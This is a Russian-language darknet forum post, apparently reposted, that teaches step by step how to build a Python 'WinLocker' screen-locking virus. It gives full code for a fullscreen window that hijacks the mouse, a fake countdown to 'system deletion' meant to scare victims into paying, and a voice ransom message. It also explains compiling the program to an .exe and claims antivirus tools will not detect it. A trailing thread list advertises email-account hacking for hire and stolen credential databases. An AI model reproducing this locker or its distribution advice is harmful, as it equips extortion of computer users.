WinLocker на python. Пишем вирус.

Русскоязычный Даркнет Форум

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
Копипаст

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

"

Установка Python
Переходим на официальный сайт PythonА -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

Скачиваем последнюю версию и устанавливаем ее.
Посмотреть вложение 7361 Посмотреть вложение 7362 Посмотреть вложение 7363

Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения


____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем


____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.



_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.

Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше


______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y


_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.

Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.



_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


!!!ВАЖНО - пароль от локера
Для просмотра содержимого вам необходимо авторизоваться.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

Словарик
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
_______________


Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
 
  • Like
Реакции: JRD
Название темы
Автор Заголовок Раздел Ответы Дата
T Пишем WinLocker на Delphi С/C++ 0
Support81 Crimson Palace: кибершпионский тайфун обрушился на Юго-Восточную Азию Новости в сети 0
Support81 Tropic Trooper: хакеры теперь сеют хаос на Ближнем Востоке Новости в сети 0
B Брут на Bongacams Предоставляю работу. Ищу специалиста. 0
Support81 ФБР раскрыло сеть влияния на выборы США Новости в сети 0
Support81 От защите к атаке: MacroPack перешел на сторону хакеров Новости в сети 0
Support81 Убийцы на расстоянии: раскрыт международный заговор сваттеров Новости в сети 0
Support81 Тайна псевдонима: ФБР использовало книгу на Amazon как главную улику в деле Новости в сети 0
Support81 Что общего между F-16 и Tinder? Новая игра США на Ближнем Востоке Новости в сети 0
Support81 Sway и QR-коды: опасный фишинговый тандем, нацеленный на сервисы Microsoft 365 Новости в сети 0
Support81 Telegram на грани: арест Дурова ставит под угрозу будущее мессенджера Новости в сети 0
Support81 Схема «Мамонт»: 4500 мошенников охотятся на арендодателей Новости в сети 0
Support81 Дело Павла Дурова: на перекрестке технологий, политики и прав человека Новости в сети 0
Support81 5 миллионов сайтов на грани взлома из-за LiteSpeed Cache Новости в сети 0
Support81 Сертификат на взлом: хакерам предложат выйти из подполья в России Новости в сети 0
Support81 UULoader обрушил серию мощных атак на жителей Азии Новости в сети 0
Viktor_KVARIS Ожидает оплаты Ищу специалиста по лидогенерации. Ниша: Продажа недвижимости на Пхукете Предоставляю работу. Ищу специалиста. 0
Support81 CryptoCore: за кулисами аферы на $5,4 млн Новости в сети 0
Support81 Лариса Долина лишилась недвижимости на 130 миллионов рублей Новости в сети 2
Support81 В Молдове задержаны мошенники, организовавшие финансовую пирамиду на 750 000 евро Новости в сети 0
G Интересно [ADS|CEO] поток трафика на ваш сайт Ищу работу. Предлагаю свои услуги. 0
Support81 Роскошное авто или троян? Хакеры из APT28 играют на ваших желаниях Новости в сети 0
Support81 Project Disrupt: как молодые канадцы обманули систему на миллион долларов Новости в сети 0
Support81 Осторожно, груз опасен: глобальная фишинг-атака на промышленные компании Новости в сети 0
PUZAN Получаем от 5к до 50к ₽ на халяву Способы заработка 3
Support81 Троян на 3000 устройствах: как начались Олимпийские игры в Париже Новости в сети 1
Support81 Хомяк ест ваши деньги: за что на самом деле борются игроки Hamster Kombat Новости в сети 2
semsvm Интересно Заработок на заливах до 30к$ и выше в месяц Способы заработка 0
semsvm Интересно Регулярно от 500$ и выше каждый месяц на полном пассиве. Способы заработка 1
АнАлЬнАя ЧуПаКаБрА Куплю Куплю базы mail:pass usa тематики ставки на спорт Куплю/Продам 0
Support81 TAG-100: открытый код на службе шпионов Новости в сети 0
Support81 ShadowRoot: новая вымогательская угроза обрушилась на турецкий бизнес Новости в сети 0
Support81 DNS-атака на DeFi: сотни протоколов оказались под угрозой взлома Новости в сети 0
Support81 Gh0st RAT, RedTail, XMRig: какие ещё угрозы могут проникнуть на ваш компьютер из-за уязвимости в PHP Новости в сети 0
Chekon ✅ sms.chekons.com - ⭐ Сайт для получения SMS на реальные номера USA "Non-VoIP, безлим SMS, API" от 0.4$ за номер⭐ Ищу работу. Предлагаю свои услуги. 0
Support81 Mekotio: обновлённый банковский троян нацелился на Латинскую Америку Новости в сети 0
Support81 Бухгалтерия как приманка: новые детали атак VasyGrek на компании РФ Новости в сети 0
turbion0 Новая мошенническая схема, нацеленная на индивидуальных предпринимателей и тех, кто использует режим «Налог на профессиональный доход» Новости в сети 0
T Без предоплаты! Взлом почты Mail.ru на заказ, взлом почты Рамблер, Взлом пароля Rambler.ru inbox.ru list.ru bk.ru internet.ru xmail.ru Ищу работу. Предлагаю свои услуги. 0
F Ожидает оплаты Traffic - на любые ваши проекты | Traffic Angels! Ищу работу. Предлагаю свои услуги. 0
Support81 0day-эксплойт для Chrome выставлен на продажу за $1 000 000 Новости в сети 0
Support81 48 часов на спасение: LockBit выставили ультиматум хакеров Федрезерву Новости в сети 1
Support81 Интернет-тролли: кто они на самом деле? Новости в сети 0
Support81 Удаленщики играют с работодателями в кошки-мышки: на грани этики и контроля Новости в сети 0
Support81 Беспринципный исследователь «обнёс» криптобиржу Kraken на $3 млн Новости в сети 0
Support81 102 года за фишинг: афера на $1,5 млн закончилась для мошенников тюремной камерой Новости в сети 0
Support81 30 дней на сборы: Slack объявил дедлайн для пользователей из РФ Новости в сети 0
Support81 70% киберспециалистов на грани срыва, 64% уже подыскивают новую работу Новости в сети 1
Support81 Рост на 625%: программы-вымогатели бьют все рекорды в мае Новости в сети 0
Klauus Требуются люди на вбив логов Предоставляю работу. Ищу специалиста. 1

Название темы